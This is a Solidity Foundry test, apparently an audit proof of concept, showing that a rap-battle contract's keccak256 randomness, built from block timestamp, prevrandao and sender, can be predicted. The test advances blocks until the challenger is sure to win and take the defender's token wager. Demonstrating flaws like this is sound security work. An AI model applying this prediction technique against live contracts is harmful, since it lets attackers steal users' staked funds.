function test_weakRngBattle() public twoSkilledRappers {
uint256 oldUserBalance = cred.balanceOf(user);
console.log("Current user balance: ", oldUserBalance);
uint256 userTokenId = 0;
vm.startPrank(user);
oneShot.approve(address(rapBattle), userTokenId);
cred.approve(address(rapBattle), 10);
rapBattle.goOnStageOrBattle(userTokenId, 3);
vm.stopPrank();
uint256 oldChallengerBalance = cred.balanceOf(challenger);
console.log("Current challenger balance: ", oldChallengerBalance);
uint256 challengerTokenId = 1;
uint256 defenderRapperSkill = rapBattle.getRapperSkill(userTokenId);
uint256 challengerRapperSkill = rapBattle.getRapperSkill(challengerTokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, challenger))) % totalBattleSkill;
for (random; random <= defenderRapperSkill;) {
vm.warp(block.timestamp + 1);
vm.roll(block.number + 1);
random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, challenger))) % totalBattleSkill;
}
vm.startPrank(challenger);
oneShot.approve(address(rapBattle), challengerTokenId);
cred.approve(address(rapBattle), 10);
console.log("** FIGTH **");
rapBattle.goOnStageOrBattle(challengerTokenId, 3);
vm.stopPrank();
uint256 newChallengerBalance = cred.balanceOf(challenger);
uint256 newUserBalance = cred.balanceOf(user);
console.log("New challenger balance: ", newChallengerBalance);
console.log("New user balance: ", newUserBalance);
assert(newChallengerBalance > oldChallengerBalance);
assert(newUserBalance < oldUserBalance);
assert(newChallengerBalance == (oldChallengerBalance + oldUserBalance - newUserBalance));
}